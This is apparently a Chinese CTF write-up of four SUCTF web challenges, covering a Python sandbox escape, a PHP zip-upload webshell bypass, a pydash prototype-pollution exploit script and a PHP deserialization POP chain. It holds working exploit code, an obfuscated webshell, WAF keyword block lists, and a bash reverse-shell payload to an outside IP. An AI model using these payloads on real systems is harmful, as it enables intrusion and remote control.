XCTF-SUCTF
比赛时跟着看了两天,赛后又进行了复现,感觉非常有收获
SU_easyk8s_on_aliyun(REALLY VERY EASY)
上来给了一个python的代码执行器,可以猜到是要进行沙箱逃逸.不出意外os和subprocess执行命令都被禁用了.查看subclass
for i in range(500):
print(''.__class__.__base__.__subclasses__()[i])
发现存在
<class 'posix.ScandirIterator'>
<class 'posix.DirEntry'>
联想到了posix沙箱逃逸.找了个现成的直接打.
import os import _posixsubprocess _posixsubprocess.fork_exec([b"/bin/ls","/"], [b"/bin/ls"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)
成功执行命令.反弹shell失败,通过wget写文件成功拿shell.后面是打k8的一点不懂,就没去复现.把沙箱的源码扒下来了.
app.py:
from flask import Flask, render_template, request, url_for, flash, redirect
app = Flask(__name__)
import sys
import subprocess
import os
"""
HINT: RCE me!
"""
INDEX_HTML = '''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Python Executor</title>
</head>
<body>
<h1>Welcome to PyExector</h1>
<textarea id="code" style="width: 100%; height: 200px;" rows="10000" cols="10000" ></textarea>
<button onclick="run()">Run</button>
<h2>Output</h2>
<pre id="output"></pre>
<script>
function run() {
var code = document.getElementById("code").value;
fetch("/run", {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
code: code
})
})
.then(response => response.text())
.then(data => {
document.getElementById("output").innerText = data;
});
}
</script>
</body>
</html>
'''
@app.route('/')
def hello():
return INDEX_HTML
@app.route("/run", methods=["POST"])
def runCode():
code = request.json["code"]
cmd = [sys.executable, "-i", f"{os.getcwd()}/audit.py"]
p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stderr=subprocess.STDOUT, stdout=subprocess.PIPE)
return p.communicate(input=code.encode('utf-8'))[0]
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)
audit.py
import sys
DEBUG = False
def audit_hook(event, args):
audit_functions = {
"os.system": {"ban": True},
"subprocess.Popen": {"ban": True},
"subprocess.run": {"ban": True},
"subprocess.call": {"ban": True},
"subprocess.check_call": {"ban": True},
"subprocess.check_output": {"ban": True},
"_posixsubprocess.fork_exec": {"ban": True},
"os.spawn": {"ban": True},
"os.spawnlp": {"ban": True},
"os.spawnv": {"ban": True},
"os.spawnve": {"ban": True},
"os.exec": {"ban": True},
"os.execve": {"ban": True},
"os.execvp": {"ban": True},
"os.execvpe": {"ban": True},
"os.fork": {"ban": True},
"shutil.run": {"ban": True},
"ctypes.dlsym": {"ban": True},
"ctypes.dlopen": {"ban": True}
}
if event in audit_functions:
if DEBUG:
print(f"[DEBUG] found event {event}")
policy = audit_functions[event]
if policy["ban"]:
strr = f"AUDIT BAN : Banning FUNC:[{event}] with ARGS: {args}"
print(strr)
raise PermissionError(f"[AUDIT BANNED]{event} is not allowed.")
else:
strr = f"[DEBUG] AUDIT ALLOW : Allowing FUNC:[{event}] with ARGS: {args}"
print(strr)
return
sys.addaudithook(audit_hook)
赛后看到官方题解给出的逃逸方法:
DEBUG=True # open debug
import os,sys
op = print
def print(*args):
t = sys._getframe(1).f_locals['audit_functions']
t["os.system"]['ban']= False
op(t)
return op(*args)
os.system("ls") ## RCE
这栈帧逃逸在没有源码的情况下未免有点生硬了吧...
SU_photogallery
压缩包文件上传,发现存在php development server源码泄露,具体打法如下:

上面的是存在的php文件,下面的是一个不存在的文件,这个漏洞是在php7低版本通过php -S启动服务器就会存在的.
得到了unzip.php源码如下.
<?php
error_reporting(0);
function get_extension($filename){
return pathinfo($filename, PATHINFO_EXTENSION);
}
function check_extension($filename,$path){
$filePath = $path . DIRECTORY_SEPARATOR . $filename;
if (is_file($filePath)) {
$extension = strtolower(get_extension($filename));
if (!in_array($extension, ['jpg', 'jpeg', 'png', 'gif'])) {
if (!unlink($filePath)) {
// echo "Fail to delete file: $filename\n";
return false;
}
else{
// echo "This file format is not supported:$extension\n";
return false;
}
}
else{
return true;
}
}
else{
// echo "nofile";
return false;
}
}
function file_rename ($path,$file){
$randomName = md5(uniqid().rand(0, 99999)) . '.' . get_extension($file);
$oldPath = $path . DIRECTORY_SEPARATOR . $file;
$newPath = $path . DIRECTORY_SEPARATOR . $randomName;
if (!rename($oldPath, $newPath)) {
unlink($path . DIRECTORY_SEPARATOR . $file);
// echo "Fail to rename file: $file\n";
return false;
}
else{
return true;
}
}
function move_file($path,$basePath){
foreach (glob($path . DIRECTORY_SEPARATOR . '*') as $file) {
$destination = $basePath . DIRECTORY_SEPARATOR . basename($file);
if (!rename($file, $destination)){
// echo "Fail to rename file: $file\n";
return false;
}
}
return true;
}
function check_base($fileContent){
$keywords = ['eval', 'base64', 'shell_exec', 'system', 'passthru', 'assert', 'flag', 'exec', 'phar', 'xml', 'DOCTYPE', 'iconv', 'zip', 'file', 'chr', 'hex2bin', 'dir', 'function', 'pcntl_exec', 'array', 'include', 'require', 'call_user_func', 'getallheaders', 'get_defined_vars','info'];
$base64_keywords = [];
foreach ($keywords as $keyword) {
$base64_keywords[] = base64_encode($keyword);
}
foreach ($base64_keywords as $base64_keyword) {
if (strpos($fileContent, $base64_keyword)!== false) {
return true;
}
else{
return false;
}
}
}
function check_content($zip){
for ($i = 0; $i < $zip->numFiles; $i++) {
$fileInfo = $zip->statIndex($i);
$fileName = $fileInfo['name'];
if (preg_match('/\.\.(\/|\.|%2e%2e%2f)/i', $fileName)) {
return false;
}
echo "Checking file: $fileName\n";
$fileContent = $zip->getFromName($fileName);
if (preg_match('/(eval|base64|shell_exec|system|passthru|assert|flag|exec|phar|xml|DOCTYPE|iconv|zip|file|chr|hex2bin|dir|function|pcntl_exec|array|include|require|call_user_func|getallheaders|get_defined_vars|info)/i', $fileContent) || check_base($fileContent)) {
// echo "Don't hack me!\n";
return false;
}
else {
continue;
}
}
return true;
}
function unzip($zipname, $basePath) {
$zip = new ZipArchive;
if (!file_exists($zipname)) {
// echo "Zip file does not exist";
return "zip_not_found";
}
if (!$zip->open($zipname)) {
// echo "Fail to open zip file";
return "zip_open_failed";
}
if (!check_content($zip)) {
return "malicious_content_detected";
}
$randomDir = 'tmp_'.md5(uniqid().rand(0, 99999));
$path = $basePath . DIRECTORY_SEPARATOR . $randomDir;
if (!mkdir($path, 0777, true)) {
// echo "Fail to create directory";
$zip->close();
return "mkdir_failed";
}
if (!$zip->extractTo($path)) {
// echo "Fail to extract zip file";
$zip->close();
}
for ($i = 0; $i < $zip->numFiles; $i++) {
$fileInfo = $zip->statIndex($i);
$fileName = $fileInfo['name'];
if (!check_extension($fileName, $path)) {
// echo "Unsupported file extension";
continue;
}
if (!file_rename($path, $fileName)) {
// echo "File rename failed";
continue;
}
}
if (!move_file($path, $basePath)) {
$zip->close();
// echo "Fail to move file";
return "move_failed";
}
rmdir($path);
$zip->close();
return true;
}
$uploadDir = __DIR__ . DIRECTORY_SEPARATOR . 'upload/suimages/';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0777, true);
}
if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
$uploadedFile = $_FILES['file'];
$zipname = $uploadedFile['tmp_name'];
$path = $uploadDir;
$result = unzip($zipname, $path);
if ($result === true) {
header("Location: index.php?status=success");
exit();
} else {
header("Location: index.php?status=$result");
exit();
}
} else {
header("Location: index.php?status=file_error");
exit();
}
发现逻辑中我们传上去的文件会被改名,而且会放到随机名的目录下,因此不可控.extractTo本身存在路径穿越漏洞,然而被黑名单屏蔽.
$fileName = $fileInfo['name'];
if (preg_match('/\.\.(\/|\.|%2e%2e%2f)/i', $fileName)) {
return false;
}
然而这里可以看到另一个逻辑问题.
if (!$zip->extractTo($path)) {
// echo "Fail to extract zip file";
$zip->close();
}
如果说压缩包解压缩失败,那么就会进入if分支,关闭压缩包.那么在下面的for循环中无法读取zip流,也就是认为zip的大小为0.
for ($i = 0; $i < $zip->numFiles; $i++) {
$fileInfo = $zip->statIndex($i);
$fileName = $fileInfo['name'];
if (!check_extension($fileName, $path)) {
// echo "Unsupported file extension";
continue;
}
if (!file_rename($path, $fileName)) {
// echo "File rename failed";
continue;
}
}
而后面的移动文件部分不会出现问题,从而得到了一个可控文件名的马.这里我们通过创建同名的文件和目录来实现解压失败,注意文件要在上,不然解压成功的将会是目录而不是文件.



此时就得传上一个文件名可控的马,通过传特殊的马绕过waf
<?php $_="{"; $_=($_^"<").($_^">;").($_^"/"); ?><?=${'_'.$_}['_'](${'_'.$_}['__']);?>

SU_blog
使用admin注册登录,存在任意文件读取漏洞,访问路由得到源码
http://27.25.151.48:5000/article?file=articles/..././..././..././..././..././..././..././..././..././var/www/html/app/app.py
app.py:
from flask import *
import time,os,json,hashlib
from pydash import set_
from waf import pwaf,cwaf
app = Flask(__name__)
app.config['SECRET_KEY'] = hashlib.md5(str(int(time.time())).encode()).hexdigest()
users = {"testuser": "password"}
BASE_DIR = '/var/www/html/myblog/app'
articles = {
1: "articles/article1.txt",
2: "articles/article2.txt",
3: "articles/article3.txt"
}
friend_links = [
{"name": "bkf1sh", "url": "https://ctf.org.cn/"},
{"name": "fushuling", "url": "https://fushuling.com/"},
{"name": "yulate", "url": "https://www.yulate.com/"},
{"name": "zimablue", "url": "https://www.zimablue.life/"},
{"name": "baozongwi", "url": "https://baozongwi.xyz/"},
]
class User():
def __init__(self):
pass
user_data = User()
@app.route('/')
def index():
if 'username' in session:
return render_template('blog.html', articles=articles, friend_links=friend_links)
return redirect(url_for('login'))
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username in users and users[username] == password:
session['username'] = username
return redirect(url_for('index'))
else:
return "Invalid credentials", 403
return render_template('login.html')
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
users[username] = password
return redirect(url_for('login'))
return render_template('register.html')
@app.route('/change_password', methods=['GET', 'POST'])
def change_password():
if 'username' not in session:
return redirect(url_for('login'))
if request.method == 'POST':
old_password = request.form['old_password']
new_password = request.form['new_password']
confirm_password = request.form['confirm_password']
if users[session['username']] != old_password:
flash("Old password is incorrect", "error")
elif new_password != confirm_password:
flash("New passwords do not match", "error")
else:
users[session['username']] = new_password
flash("Password changed successfully", "success")
return redirect(url_for('index'))
return render_template('change_password.html')
@app.route('/friendlinks')
def friendlinks():
if 'username' not in session or session['username'] != 'admin':
return redirect(url_for('login'))
return render_template('friendlinks.html', links=friend_links)
@app.route('/add_friendlink', methods=['POST'])
def add_friendlink():
if 'username' not in session or session['username'] != 'admin':
return redirect(url_for('login'))
name = request.form.get('name')
url = request.form.get('url')
if name and url:
friend_links.append({"name": name, "url": url})
return redirect(url_for('friendlinks'))
@app.route('/delete_friendlink/<int:index>')
def delete_friendlink(index):
if 'username' not in session or session['username'] != 'admin':
return redirect(url_for('login'))
if 0 <= index < len(friend_links):
del friend_links[index]
return redirect(url_for('friendlinks'))
@app.route('/article')
def article():
if 'username' not in session:
return redirect(url_for('login'))
file_name = request.args.get('file', '')
if not file_name:
return render_template('article.html', file_name='', content="未提供文件名。")
blacklist = ["waf.py"]
if any(blacklisted_file in file_name for blacklisted_file in blacklist):
return render_template('article.html', file_name=file_name, content="大黑阔不许看")
if not file_name.startswith('articles/'):
return render_template('article.html', file_name=file_name, content="无效的文件路径。")
if file_name not in articles.values():
if session.get('username') != 'admin':
return render_template('article.html', file_name=file_name, content="无权访问该文件。")
file_path = os.path.join(BASE_DIR, file_name)
file_path = file_path.replace('../', '')
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
except FileNotFoundError:
content = "文件未找到。"
except Exception as e:
app.logger.error(f"Error reading file {file_path}: {e}")
content = "读取文件时发生错误。"
return render_template('article.html', file_name=file_name, content=content)
@app.route('/Admin', methods=['GET', 'POST'])
def admin():
if request.args.get('pass')!="SUers":
return "nonono"
if request.method == 'POST':
try:
body = request.json
if not body:
flash("No JSON data received", "error")
return jsonify({"message": "No JSON data received"}), 400
key = body.get('key')
value = body.get('value')
if key is None or value is None:
flash("Missing required keys: 'key' or 'value'", "error")
return jsonify({"message": "Missing required keys: 'key' or 'value'"}), 400
if not pwaf(key):
flash("Invalid key format", "error")
return jsonify({"message": "Invalid key format"}), 400
if not cwaf(value):
flash("Invalid value format", "error")
return jsonify({"message": "Invalid value format"}), 400
set_(user_data, key, value)
flash("User data updated successfully", "success")
return jsonify({"message": "User data updated successfully"}), 200
except json.JSONDecodeError:
flash("Invalid JSON data", "error")
return jsonify({"message": "Invalid JSON data"}), 400
except Exception as e:
flash(f"An error occurred: {str(e)}", "error")
return jsonify({"message": f"An error occurred: {str(e)}"}), 500
return render_template('admin.html', user_data=user_data)
@app.route('/logout')
def logout():
session.pop('username', None)
flash("You have been logged out.", "info")
return redirect(url_for('login'))
if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000)
发现导入了pydash,还使用了set_,存在原型链污染漏洞.
然而在任意读文件处waf.py被过滤了,无法知道过滤的逻辑.
通过访问articles/..././wa../f.py查看waf.py源码.
key_blacklist = [
'__file__', 'app', 'router', 'name_index',
'directory_handler', 'directory_view', 'os', 'path', 'pardir', '_static_folder',
'__loader__', '0', '1', '3', '4', '5', '6', '7', '8', '9',
]
value_blacklist = [
'ls', 'dir', 'nl', 'nc', 'cat', 'tail', 'more', 'flag', 'cut', 'awk',
'strings', 'od', 'ping', 'sort', 'ch', 'zip', 'mod', 'sl', 'find',
'sed', 'cp', 'mv', 'ty', 'grep', 'fd', 'df', 'sudo', 'more', 'cc', 'tac', 'less',
'head', '{', '}', 'tar', 'zip', 'gcc', 'uniq', 'vi', 'vim', 'file', 'xxd',
'base64', 'date', 'env', '?', 'wget', '"', 'id', 'whoami', 'readflag'
]
# 将黑名单转换为字节串
key_blacklist_bytes = [word.encode() for word in key_blacklist]
value_blacklist_bytes = [word.encode() for word in value_blacklist]
def check_blacklist(data, blacklist):
for item in blacklist:
if item in data:
return False
return True
def pwaf(key):
# 将 key 转换为字节串
key_bytes = key.encode()
if not check_blacklist(key_bytes, key_blacklist_bytes):
print(f"Key contains blacklisted words.")
return False
return True
def cwaf(value):
if len(value) > 77:
print("Value exceeds 77 characters.")
return False
# 将 value 转换为字节串
value_bytes = value.encode()
if not check_blacklist(value_bytes, value_blacklist_bytes):
print(f"Value contains blacklisted words.")
return False
return True
那么目标明确了,接下来就是去污染key_blacklist_bytes和value_blacklist_bytes,从而绕过黑名单去执行命令.得到最后的exp.
import requests
url = "http://27.25.151.48:5000/Admin?pass=SUers"
cookie = {
"session": "eyJ1c2VybmFtZSI6ImFkbWluIn0.Z4Sr_Q.g7AibUDpCzZlqq5uF-VJgvoWHng"
}
json0 = {
"key":
".__init__.__globals__.pwaf.__globals__.key_blacklist_bytes",
"value": ""
}
json1 = {
"key":
".__init__.__globals__.pwaf.__globals__.value_blacklist_bytes",
"value": ""
}
json2 = {
"key":
".__init__.__globals__.__loader__.__init__.__globals__.sys.modules.jinja2.runtime.exported.0",
"value": "*;import os;os.system('/readflag >/tmp/lbzlbz.txt')"
}
headers = {"Referer": "http://27.25.151.48:5000/Admin?pass=SUers"}
r = requests.post(url, cookies=cookie, json=json0, headers=headers)
print(r.text)
r = requests.post(url, cookies=cookie, json=json1, headers=headers)
print(r.text)
r = requests.post(url, cookies=cookie, json=json2, headers=headers)
print(r.text)
url = "http://27.25.151.48:5000/article?file=articles/..././..././..././..././..././..././..././..././..././tmp/lbzlbz.txt"
r = requests.get(url, cookies=cookie, headers=headers)
print(r.text)
r = requests.get(url, cookies=cookie, headers=headers)
print(r.text)
SU_POP
赵哥挖的链子,狠狠的学习了
<?php
namespace React\Promise\Internal {
class RejectedPromise
{
private $handled = false;
private $reason;
function __construct()
{
$this->handled=false;
$this->reason = new \Cake\Http\Response();
}
}
}
namespace Cake\Http{
class Response
{
private $stream ;
public function __construct()
{
$this->stream = new \Cake\ORM\Table();
}
}
}
namespace PHPUnit\Framework\MockObject\Generator{
class MockClass{
private readonly string $mockName;
private readonly string $classCode;
public function __construct()
{
$this->mockName = "lbz";
$this->classCode = "system(\"bash -c 'exec bash -i &>/dev/tcp/123.57.23.40/1111 <&1'\");";
}
}
}
namespace Cake\ORM{
class BehaviorRegistry{
protected array $_methodMap ;
protected array $_loaded;
public function __construct()
{
$this->_loaded=["lbz"=>new \PHPUnit\Framework\MockObject\Generator\MockClass()];
$this->_methodMap = ["rewind" => ["lbz","generate"]];
}
}
Class Table
{
protected BehaviorRegistry $_behaviors;
public function __construct()
{
$this->_behaviors= new BehaviorRegistry();
}
}
}
namespace GadgetChain {
$a=new \React\Promise\Internal\RejectedPromise();
$str = serialize($a);
echo urlencode(base64_encode($str));
}
比赛时没找到MockClass和MockTrait的入口,所以直接做不下去了.第一次接触链子挖掘,认为核心是能够有好用的正则配合Seay去进行筛查(不然不会定位到Table吧).回头专门研究研究.

浙公网安备 33010602011771号